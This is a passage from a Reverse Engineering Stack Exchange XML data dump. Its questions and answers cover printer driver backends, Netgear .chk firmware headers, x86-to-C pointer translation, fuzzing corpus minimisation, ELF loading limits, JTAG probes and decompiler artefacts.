JavaScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2103/try-to-deobfuscate-multi-layered-javascript&quot;&gt;Try to deobfuscate multi layered javascript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/64/what-is-a-good-tools-to-reverse-the-effects-of-minify-on-javascript&quot;&gt;What is a good tools to reverse the effects of Minify on JavaScript?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Or, more generally, search for the &lt;a href=&quot;/questions/tagged/javascript&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;javascript&amp;#39;&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/deobfuscation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;deobfuscation&amp;#39;&quot; rel=&quot;tag&quot;&gt;deobfuscation&lt;/a&gt; tags (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/tagged/javascript+deobfuscation&quot;&gt;link to the search&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2022-03-08T10:21:51.157" LastActivityDate="2022-03-08T10:21:51.157" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="4563" PostTypeId="2" ParentId="3837" CreationDate="2014-06-08T11:55:18.000" Score="5" Body="&lt;p&gt;The way CUPS works under the hood is it ends up executing a program (the binary driver) that operates on &lt;code&gt;stdin&lt;/code&gt;.  This binary must conform to the CUPS backed interface described quite comprehensively: &lt;a href=&quot;http://www.cups.org/documentation.php/api-filter.html&quot;&gt;http://www.cups.org/documentation.php/api-filter.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else provided by the driver is just scripts and meta-data (well, who knows, but the backend program is the important one.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I happen to have a Brother MFC J415W; the Brother Linux driver installs a bunch of stuff but eventually it ends up running a binary called &lt;code&gt;/opt/brother/Printers/mfcj415w/lpd/brmfcj415wfilter&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one thing you might be able to do to make your life easier, instead of printing from a web browser, is work out how to run your backend binary directly.  That should be doable by looking in the scripts to see how it gets called with what arguments and environment variables.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you might be able to have tighter control over which exact data gets converted for printing. You could also make a custom postscript file to push into that binary, perhaps various test patterns, like all black, all white, squares, etc., so that you may end up seeing patterns in the USB stream easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW I ran &lt;code&gt;strings&lt;/code&gt; on my driver and the following was in it: &lt;code&gt;Compressed by Brother Ind.,Ltd.&lt;/code&gt; - so I suspect you are seeing a compressed data stream of some kind.  It might be interesting to run something like &lt;code&gt;binwalk&lt;/code&gt; over your stream to see whether it is able detect the compression mechanism used...&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-08T11:55:18.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4564" PostTypeId="2" ParentId="4552" CreationDate="2014-06-08T12:02:59.013" Score="1" Body="&lt;p&gt;I have played with at least one (not a D-Link) Linux-based router that stored its configuration in a bare &lt;code&gt;mtd&lt;/code&gt; partition and accessed it using a proprietary binary.  It compressed the data using LZMA or something but within that, you could see passwords in clear-text (not good!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D-Link actually have a very good GPL source code system, go to &lt;a href=&quot;http://tsd.dlink.com.tw/downloads2008list.asp?SourceType=download&amp;amp;OS=GPL&quot; rel=&quot;nofollow&quot;&gt;http://tsd.dlink.com.tw/downloads2008list.asp?SourceType=download&amp;amp;OS=GPL&lt;/a&gt; and type in 2760 and you can download the entire buildroot and source for that router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they happen to use some non-standard proprietary mechanism for saving configuration, you should be able to get some idea of where it is hidden from examining the GPL sources...&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-08T12:02:59.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4565" PostTypeId="1" AcceptedAnswerId="4576" CreationDate="2014-06-08T17:40:55.190" Score="5" ViewCount="2660" Body="&lt;p&gt;Note: I'm aware of the technical and legal implications of reverse-enginneering binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the firmware for a Netgear WGR614v7 router, in the form of a .chk file, coming from Netgear themselves, and I wish to unpack the file. My understanding is that a firmware .chk file is &lt;a href=&quot;http://www.dd-wrt.com/wiki/index.php/WGR614_v8&quot; rel=&quot;nofollow&quot;&gt;a header&lt;/a&gt; before a TRX image, and I've tried to untrx the ile I had sans header, or with header as well. Neither that nor &lt;code&gt;binwalk&lt;/code&gt; succeeded. Two useful strings are seen very close to the beginning of the file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AH00I8&lt;/li&gt;&#xA;&lt;li&gt;U12H064T00_NETGEAR&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Inspecting the file in a hex editor, I'm unable to find the &lt;a href=&quot;http://wiki.openwrt.org/doc/techref/header?s%5b%5d=trx&quot; rel=&quot;nofollow&quot;&gt;TRX file signature&lt;/a&gt; (I was looking for ASCII &lt;code&gt;HDR0&lt;/code&gt;). I also cannot find any sort of compression magic values, except fairly far into the file where they're not likely to signify the beginning of the actual content I'm looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I looking for the wrong filetypes? Is anything about this structure known that I haven't found yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The firmware has been downloaded from &lt;a href=&quot;http://support.netgear.com/product/WGR614v7&quot; rel=&quot;nofollow&quot;&gt;Netgear's site&lt;/a&gt;. I tried chopping off various lengths but cannot find a reasonably-located compression or TRX header. The characteristic &lt;code&gt;ff ff ff ff&lt;/code&gt; of IMG images used as a method of preventing a repetitive boot firmware is also not existent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; I did some searching of my own, and found a &lt;a href=&quot;http://ttf.mine.nu/techdocs.htm&quot; rel=&quot;nofollow&quot;&gt;decompression utility&lt;/a&gt;. When I chopped the file such that &lt;code&gt;sqz&lt;/code&gt; had been the first characters, that utility seemed to find valid Huffman structures but incur a size mismatch. A result of the decompression yielded 11 bytes, while the program warned me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Unpacked file should be 7537274 bytes but is 396409921 bytes! at ./unpack.pl line 61, &amp;lt;STDIN&amp;gt; line 3.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course, it could be that many kinds of data that is corrupt might be partially readable as huffman giving me strange results as seen here.&lt;/p&gt;&#xA;" OwnerUserId="2350" LastEditorUserId="2350" LastEditDate="2014-06-09T19:56:32.117" LastActivityDate="2014-06-09T19:56:32.117" Title="Format of .chk firmware package on WGR614v7" Tags="|file-format|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4566" PostTypeId="1" CreationDate="2014-06-08T19:14:40.963" Score="2" ViewCount="378" Body="&lt;p&gt;I try to analyze an .exe file and I have always something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR DS:[ESI]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I search a lot for that and I know that the expression with [...] means that we store the context of ESI in EAX. &#xA;For example, when I have in ESI the value 00000101 (5 in decimal), then I would represent it in C like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    int x = 5;&#xA;    int y = x;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, thats fine, but what if I have an address in ESI ? Something like 001B5355 from which i know that it is an address. &#xA;How would I represent it then? Maybe use something like a pointer which would point to 001B5355 ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  UnknownType *immediatePointer = &amp;amp;001B5355;&#xA;&#xA;  UnknownType *pointerEAX = *immediatePointer;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need help because the whole assembly code of the .exe consists of that kind of lines and I do not know how to represent it to imagine how it could implement it. &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="3557" LastEditDate="2014-06-08T20:24:26.033" LastActivityDate="2014-06-09T07:00:40.233" Title="Understanding a specific assembly line" Tags="|assembly|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4567" PostTypeId="2" ParentId="4566" CreationDate="2014-06-08T20:06:07.720" Score="5" Body="&lt;p&gt;The instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR DS:[ESI]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;takes the contents of the &lt;code&gt;DWORD&lt;/code&gt; pointed to by &lt;code&gt;DS:ESI&lt;/code&gt;. If you the value of &lt;code&gt;ESI&lt;/code&gt; is known to you and is a constant, you could do it in a single line like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned eax = *(unsigned *)0x001B5355;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can make it a little better by splitting it into two parts (as you have done) so that you can name the pointer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned *ptr = (unsigned *)0x001B5355;&#xA;unsigned eax = *ptr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that &lt;code&gt;unsigned&lt;/code&gt; is a 32-bit quantity with your compiler.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-06-08T20:06:07.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4568" PostTypeId="1" AcceptedAnswerId="4577" CreationDate="2014-06-08T20:49:34.820" Score="4" ViewCount="1010" Body="&lt;p&gt;Anyone know of any tools or scripts that can help in &lt;a href=&quot;http://googleonlinesecurity.blogspot.de/2011/08/fuzzing-at-scale.html&quot; rel=&quot;nofollow&quot;&gt;corpus distillation&lt;/a&gt; ? I know of &lt;a href=&quot;http://old.peachfuzzer.com/v3/minset.html&quot; rel=&quot;nofollow&quot;&gt;Peach Minset&lt;/a&gt;, but not other than that. Appreciate if anyone could share.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="53" LastEditDate="2014-06-09T22:01:03.950" LastActivityDate="2014-06-09T22:01:03.950" Title="Corpus Distillation" Tags="|tools|fuzzing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4569" PostTypeId="2" ParentId="3882" CreationDate="2014-06-09T01:44:36.043" Score="1" Body="&lt;p&gt;I think you should read from original file (exe, dll) of exported API function and compare with the data in the loading memory. To avoid the fake result in which the read API functions are also hooked, you should use some tricks to get the original read API function from memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this help!&lt;/p&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2014-06-09T01:44:36.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4570" PostTypeId="2" ParentId="4321" CreationDate="2014-06-09T03:00:46.890" Score="1" Body="&lt;p&gt;There are many confusing things in your first question. With 2nd &amp;amp; 3rd question, I think the answer is absolutely possible but it requires many works (manually). You could use some PE Tools (PE Editor tools - Lord PE is a good example) to resize the section and modify the data in the section (in binary Hex mode). And to validate all the references of your old structure pointer, you can use some disassembly tools like IDA, OllyDbg to find the position of all the references and modify it in hex mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In brief, I summary my solution as follow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use PE Editor (Lord PE) to resize the .data section and any sections&#xA;you will modify (turn on the Write Flag in these sections).&lt;/li&gt;&#xA;&lt;li&gt;In some case PE Editor not update the PE Header, so you must do it&#xA;manually to get a valid image (that can load in memory and run).&lt;/li&gt;&#xA;&lt;li&gt;Using OllyDbg to edit, modify binary data in memory (with disassembly support :)) to change your data structure and all references so it will be easier to trace, debug. After&#xA;all your modifying, you should dump and fix IAT (like unpacking PE&#xA;files). In some case, your modifying not work in OllyDbg, you should use a Hex Editor or Lord PE (again) to add binary data manually.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is not difficult but requires hardworking and careful, Good luck! &lt;/p&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2014-06-09T03:00:46.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4571" PostTypeId="2" ParentId="4566" CreationDate="2014-06-09T07:00:40.233" Score="1" Body="&lt;p&gt;If &lt;code&gt;esi holds 5 mov eax, [esi]&lt;/code&gt; will &#xA;create an  &lt;code&gt;access violation&lt;/code&gt; as 5 will not be a &lt;code&gt;valid address&lt;/code&gt; in normal cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;it does not translate to int x = 5 ; int y = x&lt;/code&gt;&lt;br&gt;&#xA;that is represented by  &lt;code&gt;mov eax , esi&lt;/code&gt; not mov eax [esi] &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pointermagic:\&amp;gt;type pointermagic.cpp&#xA;&#xA;int x = 4;&#xA;int *y = &amp;amp;x;&#xA;int z = x + *y;&#xA;int main (void)&#xA;{&#xA;    return z + x;&#xA;}&#xA;&#xA;pointermagic:\&amp;gt;cl /Zi /nologo pointermagic.cpp /link /RELEASE&#xA;&#xA;pointermagic:\&amp;gt;cdb -c &quot;g main; uf @eip;q&quot; pointermagic.exe &#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g main; uf @eip;q'    &#xA;pointermagic!main:&#xA;00401000 55              push    ebp&#xA;00401001 8bec            mov     ebp,esp&#xA;00401003 a140bb4000      mov     eax,dword ptr [pointermagic!z (0040bb40)]&#xA;00401008 030500b04000    add     eax,dword ptr [pointermagic!x (0040b000)]&#xA;0040100e 5d              pop     ebp&#xA;0040100f c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-06-09T07:00:40.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4572" PostTypeId="2" ParentId="4551" CreationDate="2014-06-09T07:23:12.800" Score="2" Body="&lt;p&gt;I've just checked the linux kernel loading ELF function (loading_elf_binary) and I find out that if &lt;strong&gt;e_phnum &gt; (65536U / sizeof(struct elf_phdr))&lt;/strong&gt; or &lt;strong&gt;e_phnum &amp;lt; 1&lt;/strong&gt;, the current loading routine will stop (line 613-615), the ELF file won't be loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;610         /* Now read in all of the header information */&#xA;611         if (loc-&amp;gt;elf_ex.e_phentsize != sizeof(struct elf_phdr))&#xA;612                 goto out;&#xA;613         if (loc-&amp;gt;elf_ex.e_phnum &amp;lt; 1 ||&#xA;614                 loc-&amp;gt;elf_ex.e_phnum &amp;gt; 65536U / sizeof(struct elf_phdr))&#xA;615                 goto out;&#xA;616         size = loc-&amp;gt;elf_ex.e_phnum * sizeof(struct elf_phdr);&#xA;617         retval = -ENOMEM;&#xA;618         elf_phdata = kmalloc(size, GFP_KERNEL);&#xA;619         if (!elf_phdata)&#xA;620                 goto out;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://lxr.free-electrons.com/source/fs/binfmt_elf.c&quot; rel=&quot;nofollow&quot;&gt;http://lxr.free-electrons.com/source/fs/binfmt_elf.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the number of programheader (e_phnum) in ELF32/64 is always 16 bit variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;203 typedef struct elf32_hdr{&#xA;204   unsigned char e_ident[EI_NIDENT];&#xA;205   Elf32_Half    e_type;&#xA;206   Elf32_Half    e_machine;&#xA;207   Elf32_Word    e_version;&#xA;208   Elf32_Addr    e_entry;  /* Entry point */&#xA;209   Elf32_Off     e_phoff;&#xA;210   Elf32_Off     e_shoff;&#xA;211   Elf32_Word    e_flags;&#xA;212   Elf32_Half    e_ehsize;&#xA;213   Elf32_Half    e_phentsize;&#xA;214   Elf32_Half    e_phnum;&#xA;215   Elf32_Half    e_shentsize;&#xA;216   Elf32_Half    e_shnum;&#xA;217   Elf32_Half    e_shstrndx;&#xA;218 } Elf32_Ehdr;&#xA;219 &#xA;220 typedef struct elf64_hdr {&#xA;221   unsigned char e_ident[EI_NIDENT];     /* ELF &quot;magic number&quot; */&#xA;222   Elf64_Half e_type;&#xA;223   Elf64_Half e_machine;&#xA;224   Elf64_Word e_version;&#xA;225   Elf64_Addr e_entry;           /* Entry point virtual address */&#xA;226   Elf64_Off e_phoff;            /* Program header table file offset */&#xA;227   Elf64_Off e_shoff;            /* Section header table file offset */&#xA;228   Elf64_Word e_flags;&#xA;229   Elf64_Half e_ehsize;&#xA;230   Elf64_Half e_phentsize;&#xA;231   Elf64_Half e_phnum;&#xA;232   Elf64_Half e_shentsize;&#xA;233   Elf64_Half e_shnum;&#xA;234   Elf64_Half e_shstrndx;&#xA;235 } Elf64_Ehdr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Define data type as followed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9 typedef __u16   Elf32_Half;&#xA;16 typedef __u16   Elf64_Half;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://lxr.free-electrons.com/source/include/uapi/linux/elf.h#L263&quot; rel=&quot;nofollow&quot;&gt;http://lxr.free-electrons.com/source/include/uapi/linux/elf.h#L263&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, also in the case of a invalid value of e_phnum (invalid ELF file), the maximum value of e_phnum is 65535.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helpful!&lt;/p&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2014-06-09T07:23:12.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4573" PostTypeId="1" CreationDate="2014-06-09T08:15:02.997" Score="1" ViewCount="1515" Body="&lt;p&gt;Can someone advice USB JTAG probe designed for both ARM and MIPS target boards, and which works with the OpenOCD and UrJTAG? I know Flyswatter2..&lt;/p&gt;&#xA;" OwnerUserId="39817" LastActivityDate="2014-06-10T15:35:27.300" Title="Using USB JTAG probe with ARM &amp; MIPS" Tags="|debuggers|hardware|arm|mips|jtag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4574" PostTypeId="2" ParentId="4573" CreationDate="2014-06-09T13:04:51.790" Score="2" Body="&lt;p&gt;Have you seen the &lt;a href=&quot;http://dangerousprototypes.com/docs/Bus_Blaster&quot; rel=&quot;nofollow&quot;&gt;Bus Blaster&lt;/a&gt;? It is an FT2232 based board which has both ARM and MIPS eJTAG support. The Bus Pirate (also sold by Dangerous Prototypes) also has the ability to perform JTAG, but it runs much slower (like, 10 bits a minute or something ridiculous).&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2014-06-09T13:04:51.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4575" PostTypeId="2" ParentId="4568" CreationDate="2014-06-09T16:45:17.510" Score="1" Body="&lt;p&gt;As far as I know, there is nothing like this public. However, you can use &lt;a href=&quot;http://dynamorio.org/docs/page_drcov.html&quot; rel=&quot;nofollow&quot;&gt;DrCov&lt;/a&gt; and do yourself the same thing as Minset does and even more powerful things. Indeed, I commonly use this DynamoRIO's tool, DrCov, for doing this exact same thing and others.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-06-09T16:45:17.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4576" PostTypeId="2" ParentId="4565" CreationDate="2014-06-09T17:16:00.987" Score="3" Body="&lt;p&gt;The file begins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000: 4148 3030 4938 e66c 000e aa28 9835 0589  AH00I8.l...(.5..&#xA;0000010: 3004 125a 1b39 65ff 47e4 b95c 0001 0014  0..Z.9e.G..\....&#xA;0000020: 5531 3248 3036 3454 3030 5f4e 4554 4745  U12H064T00_NETGE&#xA;0000030: 4152 0000                                AR..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason for picking this size will soon become clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first four bytes (&lt;code&gt;AH00&lt;/code&gt;) are probably file magic. Googling just that string brings up &lt;a href=&quot;http://www.0xf8.org/2009/07/hacking-the-netgear-wg102-access-point/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, which has a detailed breakdown of a different firmware file with a similar structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next four bytes are not described by the linked page. Reading them as a 32-bit big-endian value (BE32), though, you get 0x4938e66c = 1228465772, which is plausibly a recent UNIX timestamp (usually values from around 800,000,000 to 1,500,000,000). Indeed, it decodes to &lt;code&gt;Fri Dec  5 08:29:32 2008 GMT&lt;/code&gt;, which is plausibly the build date of the hardware (and I note that the linked article has 0x481ac265 = &lt;code&gt;Fri May  2 07:27:33 2008 GMT&lt;/code&gt;, which also seems plausible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next four bytes read as a BE32 value give 961064. The total filesize is 961116 bytes, so this is likely the payload size, leaving 52 bytes for the header (and thus explaining why I chose to show the first 52 bytes here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next 32 bytes are the MD5 sum of the payload as indicated by the linked page. I deleted the first 52 bytes and MD5 summed the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;983505893004125a1b3965ff47e4b95c  /tmp/fw.sqz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is exactly what the header contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next two bytes are unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next two bytes are 0x0014, which is the length of the string that follows (including two padding NULs). While I'm not familiar with Netgear routers, I'm guessing this is a model/revision number for the hardware target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there you go: that's the &lt;code&gt;.chk&lt;/code&gt; file header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char magic[4];&#xA;uint32_t timestamp; // UNIX timestamp&#xA;uint32_t payload_size;&#xA;char md5sum[32];&#xA;uint16_t unknown; // = 1 on all files seen so far&#xA;uint16_t model_size;&#xA;char model[model_size];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the original linked page, the payload was a plain ELF file. Unfortunately, in your firmware, the payload is some other kind of file, with the magic &lt;code&gt;sqz&lt;/code&gt; (&quot;squeeze&quot;?). It's clearly compressed, but I can't tell what it's compressed with. For now, this will have to be an incomplete answer until someone figures out what the compression format is.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-06-09T17:16:00.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4577" PostTypeId="2" ParentId="4568" CreationDate="2014-06-09T17:29:03.650" Score="3" Body="&lt;p&gt;Some time ago I wrote &lt;a href=&quot;https://github.com/ea/minblox&quot; rel=&quot;nofollow&quot;&gt;minblox&lt;/a&gt; for that exact purpose. It relies on DynamoRIO. Compared to minset which uses pin tool, there isn't much of a difference. Tho I think actual set minimization part works faster than minset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minblox tool is comprised of two parts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A DynamoRIO instrumentation part (libbbcoverage) tasked with recording all basic block executed during application execution.&lt;/li&gt;&#xA;&lt;li&gt;minblox.py - Python script that runs the DynamoRIO instrumentation and analyzes the log files to minimize the sample set.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Though, do bear in mind that I've only tested this for a specific case I needed it, so your mileage might vary. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-06-09T17:29:03.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4579" PostTypeId="2" ParentId="4528" CreationDate="2014-06-10T04:42:24.047" Score="3" Body="&lt;p&gt;&lt;strong&gt;Is this just junk?&lt;/strong&gt; No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What does _floatsidf do?&lt;/strong&gt; It converts an integer to a double in a software floating point implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, the Hex-Rays decompiler produces C-like pseudocode. What you're looking at is not the code. In some cases, like this, it would be easier to reverse it by reading the assembly. A lot of what you see is junk, because there are decompilation artefacts introduced by the decompiler. I suggest that you first learn how the assembly works, then learn how to use the decompiler interactively to fix the artefacts.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Decompiler Artefacts&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Incorrect Return Types&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LODWORD(v6) = _floatsidf(v825.tv_sec);&#xA;HIDWORD(v6) = v7;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variable &lt;code&gt;v7&lt;/code&gt; is not initialised. Looking at the declaration, we can see that it's a value from &lt;code&gt;r1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int v7; // r1@1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the &lt;code&gt;_floatsidf&lt;/code&gt; function returns a &lt;code&gt;double&lt;/code&gt; split across &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;r1&lt;/code&gt;, and Hex-Rays is not aware of this, it doesn't represent this correctly. Those two lines would be better written as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v6 = _floatsidf(v825.tv_sec);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Incorrect Argument Types&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Let's skip down a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LODWORD(v9) = _divdf3(v8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A quick web search shows that &lt;code&gt;_divdf3&lt;/code&gt; does floating point division, and takes two arguments. Hex-Rays has discarded the second argument, so you can't know what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;_subdf3&lt;/code&gt; also takes two arguments, not four, which is another decompiler artefact (two 64-bit arguments have been split into four 32-bit arguments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, a search for &lt;code&gt;_aeabi_dadd&lt;/code&gt; reveals that it is an alias for &lt;code&gt;adddf3&lt;/code&gt;, which performs addition.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is this code trying to do?&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// v217 relative globals&#xA;int dword_12000;&#xA;char buf_12004[???];&#xA;pthread_mutex_t mutex_1b080;&#xA;pthread_cond_t cond_1b180;&#xA;pthread_cond_t cond_1b280;&#xA;&#xA;int __fastcall v6495(const void *data, size_t length) {&#xA;&#xA;    gettimeofday(&amp;amp;g_start_time, 0);&#xA;&#xA;    pthread_mutex_lock(&amp;amp;mutex_1b080);&#xA;    dword_12000 = 0x871b0000;&#xA;    memcpy(buf_12004, data, length);&#xA;    pthread_cond_signal(&amp;amp;cond_1b180);&#xA;    pthread_cond_wait(&amp;amp;cond_1b280, &amp;amp;mutex_1b080);&#xA;    pthread_mutex_unlock(&amp;amp;mutex_1b080);&#xA;&#xA;    gettimeofday(&amp;amp;g_end_time, 0);&#xA;&#xA;    double v11 = (double)(g_end_time.tv_sec) + (double)(g_end_time.tv_usec) / ???;&#xA;    double v15 = (double)(g_start_time.tv_sec) + (double)(g_start_time.tv_usec) / ???;&#xA;    unk_408D81C8 = v11 - v15;&#xA;&#xA;    return buf_12004;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question marks have been destroyed during decompilation, but inferring from the context, they're probably &lt;code&gt;1000000.0&lt;/code&gt;, and &lt;code&gt;unk_408D81C8&lt;/code&gt; is probably the time elapsed in seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't ask questions like this. Questions like &quot;What is this code trying to do ?&quot; or &quot;Is this junk?&quot; contribute very little to this community, and feels a bit like the &quot;please do my homework&quot; questions from Stack Overflow. A more helpful question might be &quot;How can you reverse ARM soft-float using Hex-Rays?&quot;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-06-11T00:14:38.650" LastActivityDate="2014-06-11T00:14:38.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
